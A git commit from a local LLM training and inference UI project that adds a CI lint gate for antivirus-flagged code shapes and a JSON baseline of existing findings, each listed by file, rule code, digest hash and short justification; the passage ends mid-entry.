Local UI to run and train LLMs and diffusion models. Supports GGUF, MLX, Qwen3.8, DeepSeek-V4.1, MiniMax-H3, Gemma 4, FLUX and more.
Python agentaichatgptdeepseekfine-tuninggemmaimage-generationllamallmllmsopenaipythonqwenreinforcement-learningself-hostedstable-diffusiontext-to-speechttsuiunsloth
Add a CI gate for code shapes that heuristic antivirus scanners quarantine (#12178)
Daniel Hanb91172e11878
diff --git a/.github/workflows/lint-ci.yml b/.github/workflows/lint-ci.ymlindex 76e62425700..9bb6fba248c 100644--- a/.github/workflows/lint-ci.yml+++ b/.github/workflows/lint-ci.yml@@ -166,6 +166,13 @@ jobs:- name: No exec, eval or compile of a value that is not written outrun: python scripts/lint_exec_literals.py+ - name: Scanner-shape gate self-test+ run: python scripts/lint_av_shapes.py --self-test++ # New lines only; existing ones live in scripts/av_shapes_baseline.json.+ - name: No new code shapes that heuristic scanners quarantine+ run: python scripts/lint_av_shapes.py+- name: Python ruff check (whole repo)# The narrow rule set in pyproject.toml [tool.ruff.lint]# selects E9 / F63 / F7 / F82 -- syntax errors, brokendiff --git a/scripts/av_shapes_baseline.json b/scripts/av_shapes_baseline.jsonnew file mode 100644index 00000000000..20a447656f5--- /dev/null+++ b/scripts/av_shapes_baseline.json@@ -0,0 +1,1484 @@+{+ "_comment": "Findings that predate scripts/lint_av_shapes.py. New ones fail; an error group needs a reason. See the lint's docstring.",+ "groups": [+ {+ "file": ".github/ci/clean-machine-matrix.yml",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "e9aec9781db240c7": 1+ }+ },+ {+ "file": ".github/scripts/Probe-AmsiParse.ps1",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "6c9562e9b61e642a": 1+ }+ },+ {+ "file": ".github/scripts/Probe-VirtualTerminal.ps1",+ "rule": "AV003",+ "severity": "error",+ "reason": "CI-only probe run on hosted runners to measure the console-mode path; never shipped or run on a user machine.",+ "digests": {+ "2c55dddcfeb76fa0": 1,+ "2ee6606877b69cfc": 1,+ "8b6eab4b550f89b0": 1,+ "b9777fec081d96ad": 1,+ "c6745ba48257bd2d": 1,+ "fed2f59e307d0743": 1+ }+ },+ {+ "file": ".github/scripts/agent-guides-install.sh",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "26d63a8de8b3d88a": 1,+ "4d51b090ccb1babf": 1,+ "7bb5fa16f714a6ca": 1,+ "aa4e2c2aba0b4d1c": 1,+ "d00e0be7c48e1114": 1+ }+ },+ {+ "file": ".github/scripts/compare_installer_evidence.py",+ "rule": "AV007",+ "severity": "error",+ "reason": "A fixture string the evidence comparer classifies; it is data, never executed.",+ "digests": {+ "ef0e52af4244dffa": 1+ }+ },+ {+ "file": ".github/scripts/interrupt-install.ps1",+ "rule": "AV007",+ "severity": "error",+ "reason": "CI-only: interrupts an install on a hosted runner to test recovery; never shipped.",+ "digests": {+ "392e83ba05e2da16": 1+ }+ },+ {+ "file": ".github/workflows/clean-machine-install-ci.yml",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "4c0553e5acdfe41e": 1,+ "b3c22279dd142bc1": 1,+ "f0ecb9345f76d63b": 1+ }+ },+ {+ "file": ".github/workflows/interrupted-install-ci.yml",+ "rule": "AV007",+ "severity": "error",+ "reason": "CI-only workflow step on a hosted runner; never shipped.",+ "digests": {+ "a4c6f56972c67e39": 1+ }+ },+ {+ "file": ".github/workflows/release-desktop.yml",+ "rule": "AV006",+ "severity": "error",+ "reason": "Release runner re-enables real-time protection and verifies it before signing; it turns protection on, not off.",+ "digests": {+ "b71c6cab34cf5f0a": 1+ }+ },+ {+ "file": ".github/workflows/studio-windows-api-smoke.yml",+ "rule": "AV006",+ "severity": "error",+ "reason": "Hosted runner excludes its own throwaway workspace to keep smoke timings stable; never on a user machine.",+ "digests": {+ "f4108753aa3288a5": 1+ }+ },+ {+ "file": ".github/workflows/studio-windows-inference-smoke.yml",+ "rule": "AV006",+ "severity": "error",+ "reason": "Hosted runner excludes its own throwaway workspace to keep smoke timings stable; never on a user machine.",+ "digests": {+ "5bd7fdc61ce28c49": 1,+ "f4108753aa3288a5": 1+ }+ },+ {+ "file": ".github/workflows/studio-windows-inference-smoke.yml",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "5713a6ca35ae670f": 2,+ "cd9e19e6cca8085a": 1+ }+ },+ {+ "file": ".github/workflows/studio-windows-ui-smoke.yml",+ "rule": "AV006",+ "severity": "error",+ "reason": "Hosted runner excludes its own throwaway workspace to keep smoke timings stable; never on a user machine.",+ "digests": {+ "f4108753aa3288a5": 1+ }+ },+ {+ "file": ".github/workflows/studio-windows-update-smoke.yml",+ "rule": "AV006",+ "severity": "error",+ "reason": "Hosted runner excludes its own throwaway workspace to keep smoke timings stable; never on a user machine.",+ "digests": {+ "f4108753aa3288a5": 1+ }+ },+ {+ "file": ".github/workflows/windows-amsi-defender-differential-ci.yml",+ "rule": "AV006",+ "severity": "error",+ "reason": "The differential scan job isolates its sample root on a hosted runner so only the files under test are scored.",+ "digests": {+ "2cfb74adc1e8a344": 1+ }+ },+ {+ "file": ".github/workflows/windows-arm64-ci.yml",+ "rule": "AV009",+ "severity": "error",+ "reason": "CI-only: puts Windows PowerShell 5.1 on PATH as pwsh on a hosted runner so the suites exercise 5.1; never on a user machine.",+ "digests": {+ "ae2e8afbceeae8ce": 1+ }+ },+ {+ "file": "docker/install_nvidia_toolkit.sh",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "42ce92348eda0678": 1,+ "4a9c6866201ba258": 1+ }+ },+ {+ "file": "install.ps1",+ "rule": "AV014",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "2cfe74bfc3369ef9": 1,+ "3fafce30b11710c5": 1,+ "86b03faf3eafc991": 1,+ "99b67e28a901351d": 1,+ "ab1f83398d551ed8": 1,+ "ac64310be7ca18ff": 1,+ "cb48a385bd96f50a": 1,+ "d158b0257730cb65": 1,+ "d88aee1b2f3116ee": 1,+ "e90000fd628f2cd7": 1+ }+ },+ {+ "file": "install.sh",+ "rule": "AV003",+ "severity": "error",+ "reason": "Follow-up: the WSL shortcut helper still emits the SHChangeNotify stub. install.ps1 moved to a Python ctypes call, which the Windows side of a WSL install cannot assume; porting needs a Windows-side answer first.",+ "digests": {+ "1897f2aa96938163": 1,+ "3317dda9215e254f": 1,+ "c8db648faf495659": 2,+ "c8fa2e7a650eb3af": 1,+ "c96dd772e1920082": 1,+ "cb6ff73cf7b8ed0c": 1+ }+ },+ {+ "file": "install.sh",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "396ce5b2636cfb5f": 1,+ "6a971c611e09c2a9": 1,+ "76e004ba8cc63324": 1,+ "f17e48c0b88b0ec5": 1,+ "f2cacc3d135ebef3": 1,+ "fddb103187d13f57": 1+ }+ },+ {+ "file": "scripts/install_rocm_wsl_strixhalo.sh",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "30848357c5307779": 1,+ "989d90273bcb2930": 1+ }+ },+ {+ "file": "scripts/scan_npm_packages.py",+ "rule": "AV008",+ "severity": "error",+ "reason": "Supply-chain scanner signature list; follow-up to build these strings from fragments the way scripts/scan_packages.py now does.",+ "digests": {+ "6733b2460683cb4d": 1,+ "69fa749e9a66cf63": 1,+ "f10e13497e178085": 1+ }+ },+ {+ "file": "scripts/scan_packages.py",+ "rule": "AV008",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "30b0c51e124de709": 1+ }+ },+ {+ "file": "scripts/scan_packages.py",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "0cd07d247a824a47": 1,+ "76a8ca599ed2380e": 1+ }+ },+ {+ "file": "scripts/uninstall.ps1",+ "rule": "AV005",+ "severity": "error",+ "reason": "The documented uninstall one-liner inside the script's comment-based help block, shown to the user; not executed.",+ "digests": {+ "ba92af1d59139a71": 1+ }+ },+ {+ "file": "scripts/uninstall.ps1",+ "rule": "AV014",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "041b124f94702bc7": 1,+ "74f0b99b2aa46317": 1,+ "9723d267517c008a": 1+ }+ },+ {+ "file": "scripts/uninstall.sh",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "28c7167fe2356c83": 1,+ "73d0e1bb05aa661b": 1,+ "79c2c02c8710fa44": 1,+ "f519cf54a936f287": 1+ }+ },+ {+ "file": "scripts/windows_sac_probe/sac-probe.ps1",+ "rule": "AV005",+ "severity": "error",+ "reason": "Diagnostic probe that deliberately reproduces the documented install command to see whether Smart App Control blocks it; run by hand, never shipped in the installer.",+ "digests": {+ "4899e96108dbe376": 1+ }+ },+ {+ "file": "scripts/windows_sac_probe/sac-probe.ps1",+ "rule": "AV010",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "74c84b93d0907f5d": 1,+ "b4b79630c0d9f326": 1+ }+ },+ {+ "file": "studio/backend/core/inference/mxc_probe.py",+ "rule": "AV010",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "22c445d040520d6e": 1,+ "c2eabb5e25c9c8eb": 1,+ "ec86aad4b375881c": 1+ }+ },+ {+ "file": "studio/backend/core/inference/tools.py",+ "rule": "AV004",+ "severity": "error",+ "reason": "Comments describing the PowerShell flags the terminal tool refuses to run; they document a block, not a use.",+ "digests": {+ "1ada29153175670b": 1,+ "5c66025065883052": 1+ }+ },+ {+ "file": "studio/backend/core/inference/tools.py",+ "rule": "AV008",+ "severity": "error",+ "reason": "Follow-up: the tool sandbox's deny list of credential paths shares this file with network code. It protects those paths, but the co-occurrence is the stealer shape; move the list to a data module or build it from fragments.",+ "digests": {+ "1ffe66ceb977c29b": 1,+ "2187b5e8d6475300": 1,+ "26f75773deac1871": 1,+ "275c272b3578837c": 1,+ "44ad293a587b3afc": 1,+ "4fe3aabf0fae9e15": 1,+ "51a0745e45fcf5bc": 1,+ "577c9eba0c3204e6": 1,+ "95fd16a045bc3a78": 1,+ "ae851a6274060c09": 1,+ "afcf9e477f2963bf": 1,+ "e57658a3280bcd3a": 1,+ "f49d84983562abfd": 2+ }+ },+ {+ "file": "studio/backend/run.py",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "1ffd8eece0ec0c54": 1+ }+ },+ {+ "file": "studio/backend/tests/test_frontend_resolution.py",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "1ffd8eece0ec0c54": 1+ }+ },+ {+ "file": "studio/backend/tests/test_gpu_init_crash_message.py",+ "rule": "AV010",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "d3b526bd3b1c119f": 1+ }+ },+ {+ "file": "studio/backend/tests/test_install_mxc_prebuilt.py",+ "rule": "AV004",+ "severity": "error",+ "reason": "Test decodes the launcher argument studio/install_mxc_prebuilt.py builds, to assert what it runs.",+ "digests": {+ "9f35fad52d60530b": 1+ }+ },+ {+ "file": "studio/backend/tests/test_install_mxc_prebuilt.py",+ "rule": "AV010",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "8a6f788a0d401150": 1,+ "c0bacb854907ad71": 1+ }+ },+ {+ "file": "studio/backend/tests/test_llama_cpp_vulkan_probe.py",+ "rule": "AV010",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "eb1a5e97fdc666e3": 1,+ "f79d3ff123892677": 1+ }+ },+ {+ "file": "studio/backend/tests/test_markerless_exec_tool_guard.py",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "4c853e12b4ab748d": 1,+ "b76978b306fef98e": 1+ }+ },+ {+ "file": "studio/backend/tests/test_mxc_runtime_integrity.py",+ "rule": "AV010",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "6e2bb4ff667665ed": 1,+ "98a342f372a9bbea": 1,+ "b390d350b849b6b4": 1+ }+ },+ {+ "file": "studio/backend/tests/test_mxc_windows_backend.py",+ "rule": "AV010",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "39dad80a9a976c8c": 1+ }+ },+ {+ "file": "studio/backend/tests/test_permission_mode.py",+ "rule": "AV004",+ "severity": "error",+ "reason": "Test input: the permission gate must refuse an encoded PowerShell command.",+ "digests": {+ "e99a0db001ddcde2": 1+ }+ },+ {+ "file": "studio/backend/tests/test_permission_mode.py",+ "rule": "AV008",+ "severity": "error",+ "reason": "Test inputs: the permission gate must refuse reads of these credential paths.",+ "digests": {+ "12a1ee0a4d9ed867": 1,+ "13493e39774a1a37": 1,+ "1458e076584582d3": 1,+ "2a9a0fce108507d3": 1,+ "2b8d373fb0b62d58": 1,+ "4017d80d8b2fe223": 1,+ "460da893022143c4": 1,+ "4bfa334dd9a3d5c1": 1,+ "562b5e91248d46ee": 1,+ "5e67c23e00e624e0": 1,+ "70a02b742ff95989": 1,+ "70aa41e89bd8bfb8": 1,+ "758597c4f8939489": 1,+ "8117ff265b5dbea6": 1,+ "8543b57bd3f723d8": 1,+ "892917d9aa24aa4f": 1,+ "92a140c809bc8e2d": 1,+ "9bb1c84927f77d68": 1,+ "c6037d9fa3542707": 1,+ "d00223a6653c004c": 1,+ "e26ec359dad3b91b": 1,+ "e603acaae30227ca": 1,+ "ed1a03ed602258f1": 1,+ "f49d84983562abfd": 1+ }+ },+ {+ "file": "studio/backend/tests/test_permission_mode.py",+ "rule": "AV012",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "1c6c6c7e5558c38a": 1+ }+ },+ {+ "file": "studio/backend/tests/test_permission_mode.py",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "2e4390737d2788c0": 1,+ "9d108a516d44c606": 1,+ "f2ad34f9d3f0fea3": 1+ }+ },+ {+ "file": "studio/backend/tests/test_sandbox_linux.py",+ "rule": "AV008",+ "severity": "error",+ "reason": "Test inputs: the Linux sandbox must refuse reads of these credential paths.",+ "digests": {+ "026c56f9a7162c34": 1,+ "3fe813193837f351": 1,+ "62746b5fb7612c07": 1,+ "924a42269482702d": 1,+ "ebb56bbf6fce3dcd": 1,+ "feb70d0825caf2a6": 2+ }+ },+ {+ "file": "studio/backend/tests/test_sandbox_tools.py",+ "rule": "AV008",+ "severity": "error",+ "reason": "Test inputs: the sandbox must refuse reads of these credential paths.",+ "digests": {+ "02628dd4a975589a": 1,+ "19295b9ce366ad70": 1,+ "5edbd494bf856336": 1+ }+ },+ {+ "file": "studio/backend/tests/test_sandbox_tools.py",+ "rule": "AV010",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "6b2e6cca1e96c74d": 1,+ "cb2a2dc3fbf44c1e": 1+ }+ },+ {+ "file": "studio/backend/tests/test_stt_ggml_sidecar.py",+ "rule": "AV010",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "90a286bc48b86062": 1+ }+ },+ {+ "file": "studio/backend/tests/test_web_fetch_extraction.py",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "da617e7ed7d40679": 1+ }+ },+ {+ "file": "studio/backend/tests/test_windows_gpu_detection_mock.py",+ "rule": "AV010",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "a44f22a169c39c0a": 4+ }+ },+ {+ "file": "studio/frontend/smoke-tool-activity-main.tsx",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "92ea77c8901aaef1": 1+ }+ },+ {+ "file": "studio/frontend/src/components/web/update-banner.tsx",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "713247b6f07ebe9b": 1+ }+ },+ {+ "file": "studio/frontend/src/features/settings/components/update-studio-instructions.tsx",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "23b70253baa06ed7": 1+ }+ },+ {+ "file": "studio/install_llama_prebuilt.py",+ "rule": "AV008",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "ef8ebbf5fc756aa9": 1+ }+ },+ {+ "file": "studio/install_mxc_prebuilt.py",+ "rule": "AV004",+ "severity": "error",+ "reason": "Follow-up: the elevated MXC runtime step passes its script as an encoded command. Shipped code; should pass a signed script file instead.",+ "digests": {+ "680637966354f5a9": 1+ }+ },+ {+ "file": "studio/setup.ps1",+ "rule": "AV014",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "2cfe74bfc3369ef9": 1,+ "3fafce30b11710c5": 1,+ "99b67e28a901351d": 1,+ "ac64310be7ca18ff": 1,+ "d158b0257730cb65": 1,+ "e90000fd628f2cd7": 1+ }+ },+ {+ "file": "studio/setup.sh",+ "rule": "AV014",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "837acb7afd134a98": 1,+ "cb928d83f15eb75f": 1+ }+ },+ {+ "file": "studio/setup.sh",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "043788cc1883babf": 1+ }+ },+ {+ "file": "studio/src-tauri/src/install.rs",+ "rule": "AV007",+ "severity": "error",+ "reason": "A comment explaining why the Desktop spawn avoids this pair; the spawn itself uses neither.",+ "digests": {+ "a647c25b5c17cdf0": 1+ }+ },+ {+ "file": "studio/src-tauri/src/main.rs",+ "rule": "AV012",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "d27ba6931d668533": 2+ }+ },+ {+ "file": "tests/python/test_compiler_watch_temp_scan.py",+ "rule": "AV010",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "e3208220fb685809": 1+ }+ },+ {+ "file": "tests/python/test_windows_git_gate.py",+ "rule": "AV010",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "cdcb2de2d3ec856d": 1+ }+ },+ {+ "file": "tests/python/test_windows_installer_resolver_fallback.py",+ "rule": "AV003",+ "severity": "error",+ "reason": "Docstring history of the resolver; names the construct that was removed.",+ "digests": {+ "dd96a7d7a070c0b7": 1+ }+ },+ {+ "file": "tests/python/test_windows_installer_resolver_fallback.py",+ "rule": "AV010",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "d6cdab68111547a1": 2,+ "e0d245bc654b485e": 1+ }+ },+ {+ "file": "tests/python/test_windows_on_arm_python_arch.py",+ "rule": "AV010",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "e2c180f00d23913f": 3+ }+ },+ {+ "file": "tests/python/test_windows_python_venv_hardening.py",+ "rule": "AV010",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "01d96238ffe4852e": 1,+ "4ad2663cfc4a13d9": 1,+ "9349aa613af4a31b": 2,+ "d90707f9b671d740": 1,+ "de9a5cf7340b47f1": 1,+ "ef5bcd2c0dda946e": 2,+ "fd693c3c68e44c76": 1+ }+ },+ {+ "file": "tests/python/test_windows_setup_output_encoding.py",+ "rule": "AV001",+ "severity": "error",+ "reason": "Console-less probe; the written script only runs on CI or with UNSLOTH_TEST_CONSOLE_LESS=1, since PowerShell 5.1 cannot start detached.",+ "digests": {+ "04ec334ebd7ea1c0": 1+ }+ },+ {+ "file": "tests/python/test_windows_setup_output_encoding.py",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "cd9e19e6cca8085a": 2+ }+ },+ {+ "file": "tests/python/test_windows_studio_update_launcher.py",+ "rule": "AV010",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "f057a412d500411c": 3+ }+ },+ {+ "file": "tests/security/test_amsi_parse_probe.py",+ "rule": "AV006",+ "severity": "error",+ "reason": "Asserts the CI differential job's exclusion step; test data only.",+ "digests": {+ "2d68e8972d6a1c12": 1+ }+ },+ {+ "file": "tests/security/test_desktop_updater_pointer.py",+ "rule": "AV010",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "c8b5d54dbfd02b32": 1+ }+ },+ {+ "file": "tests/security/test_release_desktop_integrity.py",+ "rule": "AV010",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "0fe0fa4a2b3b18cd": 1,+ "7218f0bf6a4089e2": 1+ }+ },+ {+ "file": "tests/security/test_release_desktop_signing_simulation.py",+ "rule": "AV010",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "2fdcf628756ba8dc": 1,+ "3483c7db64536c68": 1,+ "8b761ec5a78b65c4": 1+ }+ },+ {+ "file": "tests/security/test_scan_npm_packages.py",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "69074cc41689fad6": 1,+ "b2c65e125fb8f1c7": 1+ }+ },+ {+ "file": "tests/security/test_windows_blocked_issue_form.py",+ "rule": "AV004",+ "severity": "warn",+ "reason": "Asserts the issue form does not ask users to run an encoded command.",+ "digests": {+ "6d795255fea81668": 1+ }+ },+ {+ "file": "tests/sh/test_install_pipe_safety.sh",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "b1cd33f5796fddd9": 1+ }+ },+ {+ "file": "tests/sh/test_linux_deps_gate.sh",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "7a5e13263e2e5f1e": 1+ }+ },+ {+ "file": "tests/sh/test_strixhalo_wsl_reroute.sh",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "8d5cc664c0f18ce5": 1,+ "d007dfe5b95dcee9": 1,+ "d08d063ea93f28d2": 1+ }+ },+ {+ "file": "tests/sh/test_wsl_shortcut_script_location.sh",+ "rule": "AV003",+ "severity": "error",+ "reason": "Pins the install.sh WSL helper recorded above; goes with it.",+ "digests": {+ "ed5258165f0a8925": 1+ }+ },+ {+ "file": "tests/sh/test_wsl_shortcut_script_location.sh",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "905b2601b38deb2a": 1+ }+ },+ {+ "file": "tests/studio/install/test_cuda_repair.py",+ "rule": "AV010",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "312059bfc2cd7d58": 2,+ "56526df885e9baa9": 1+ }+ },+ {+ "file": "tests/studio/install/test_desktop_capability_llama_runtime.py",+ "rule": "AV010",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "09f6a19217716f11": 2,+ "0d724b232d598084": 2,+ "5e26b59bc82e9b16": 1,+ "81f82dc441b80317": 1+ }+ },+ {+ "file": "tests/studio/install/test_install_llama_prebuilt_logic.py",+ "rule": "AV010",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "48543cc4ad0b68b2": 1,+ "4e4236d58f50d0a1": 1,+ "68b4c793b4fb7030": 1,+ "82258afe75c44c69": 1,+ "b8e566baf4bcd83c": 1,+ "d9f2ec46b3eeaa2e": 1,+ "dbc6fa846e8ed169": 1,+ "ffcfb82e6f7ada44": 1+ }+ },+ {+ "file": "tests/studio/install/test_install_manifest_damage.py",+ "rule": "AV010",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "6ef9da5d713a3ab7": 1,+ "766b6233a1546108": 1+ }+ },+ {+ "file": "tests/studio/install/test_installed_release_backend_line.py",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "cd9e19e6cca8085a": 1+ }+ },+ {+ "file": "tests/studio/install/test_keep_install_backcompat_9979.py",+ "rule": "AV010",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "0aba85a2bc216166": 1,+ "51254a6afd836b71": 1+ }+ },+ {+ "file": "tests/studio/install/test_missing_torch_fastpath_probe.py",+ "rule": "AV010",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "dd58a668360122b7": 1+ }+ },+ {+ "file": "tests/studio/install/test_pr4562_bugfixes.py",+ "rule": "AV010",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "c1efdd71e8d9e7a0": 1+ }+ },+ {+ "file": "tests/studio/install/test_pr5940_followups.py",+ "rule": "AV010",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "0fce1b929928444e": 1,+ "768e651b3c67f99a": 3,+ "f4b62d5326d28847": 2,+ "f6586e496ab29d88": 3+ }+ },+ {+ "file": "tests/studio/install/test_pr5940_followups.py",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "52370cfdad7943a2": 1+ }+ },+ {+ "file": "tests/studio/install/test_rocm_gfx_spoof_7331.py",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "1fab5f5d9e0673a5": 1,+ "28293616b6097d3a": 1,+ "2a4e8d7a77e550f8": 1+ }+ },+ {+ "file": "tests/studio/test_agent_guides_install_flags.py",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "33b76e4c72851fa6": 1+ }+ },+ {+ "file": "tests/studio/test_amd_venv_repair_loop.ps1",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "13cb166f9e45bfe2": 2+ }+ },+ {+ "file": "tests/studio/test_application_control_cli_fallback.ps1",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "13cb166f9e45bfe2": 8,+ "1baf2810bc578b55": 1,+ "1f8631d1a06b9a9b": 1+ }+ },+ {+ "file": "tests/studio/test_early_python_path_resolver.ps1",+ "rule": "AV010",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "7cf67afe6c558551": 1+ }+ },+ {+ "file": "tests/studio/test_early_python_process_image.ps1",+ "rule": "AV013",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "ac9a2804eb4be972": 1+ }+ },+ {+ "file": "tests/studio/test_install_lock_excludes_aliases.ps1",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "013871ed7b364c35": 1,+ "59c824c5fab03dd6": 1+ }+ },+ {+ "file": "tests/studio/test_install_rollback_lifecycle.ps1",+ "rule": "AV010",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "a49dbf9acdf60239": 1,+ "bded8f746784039f": 1+ }+ },+ {+ "file": "tests/studio/test_installer_av_shapes.py",+ "rule": "AV002",+ "severity": "error",+ "reason": "The installer guard's own list of banned APIs.",+ "digests": {+ "2498e7749af546c2": 1,+ "40d56e7752a69aaf": 1,+ "550605efeec75c15": 1,+ "9f9b74b660d97cec": 1+ }+ },+ {+ "file": "tests/studio/test_installer_av_shapes.py",+ "rule": "AV003",+ "severity": "error",+ "reason": "The installer guard's record and patterns for the removed construct.",+ "digests": {+ "06ccb8a45fd2f1e7": 1,+ "19fc8e8df6102958": 1,+ "333dcbf6d4bd91aa": 1,+ "579bdbd62198ffb9": 1,+ "818a69d9b2d023e5": 1,+ "8457f1ed887fd375": 1+ }+ },+ {+ "file": "tests/studio/test_installer_av_shapes.py",+ "rule": "AV004",+ "severity": "error",+ "reason": "The installer guard's own list of banned payload forms.",+ "digests": {+ "8a4da199ceb127d6": 1+ }+ },+ {+ "file": "tests/studio/test_installer_av_shapes.py",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "83ff2778073159fa": 1,+ "91af55444ad9df5d": 1,+ "aeb0c1cc4baf1138": 1+ }+ },+ {+ "file": "tests/studio/test_intel_registry_fallback.ps1",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "13cb166f9e45bfe2": 1+ }+ },+ {+ "file": "tests/studio/test_nvidia_adapter_presence.ps1",+ "rule": "AV010",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "a317d533228e9e07": 1,+ "c3773dfde3ad5a7f": 1,+ "f2baccb237b39afe": 1,+ "ff95825f5fb0b723": 1+ }+ },+ {+ "file": "tests/studio/test_nvidia_adapter_presence.ps1",+ "rule": "AV013",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "20676d4d68f5d1df": 1+ }+ },+ {+ "file": "tests/studio/test_nvidia_adapter_presence.ps1",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "31fc12bfe4b96d7d": 1,+ "89d2dd3108581042": 1,+ "9d7ada0e33e8ac42": 1,+ "b7dd173111351bca": 1,+ "c10f4718984c6c27": 1+ }+ },+ {+ "file": "tests/studio/test_nvidia_library_inventory.ps1",+ "rule": "AV003",+ "severity": "error",+ "reason": "Asserts the NVIDIA inventory emits nothing; a regex of the banned names.",+ "digests": {+ "428265cf8f0ea1e5": 1+ }+ },+ {+ "file": "tests/studio/test_nvidia_presence_xpu_timeout.ps1",+ "rule": "AV010",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "c59f499c6bc0d639": 1+ }+ },+ {+ "file": "tests/studio/test_nvidia_presence_xpu_timeout.ps1",+ "rule": "AV015",+ "severity": "warn",+ "reason": "pre-existing warning",+ "digests": {+ "360cf7f95ccb2890": 1,+ "575e4d7e477697a7": 1,+ "6e3a00f3c0d82f17": 1,+ "bbd6f2c63e03af61": 1,+ "e9299388e9c28374": 1,+ "eaa34cc2b0ef1cfa": 1+ }+ },+ {+ "file": "tests/studio/test_nvidia_python_probe_parity.ps1",+ "rule": "AV003",+ "severity": "error",+ "reason": "Asserts the probe emits no type; a regex of the banned names.",+ "digests": {+ "588e822b25d4e8d2": 1,+ "e85ecd18cf105ca4": 1+ }+ },+ {+ "file": 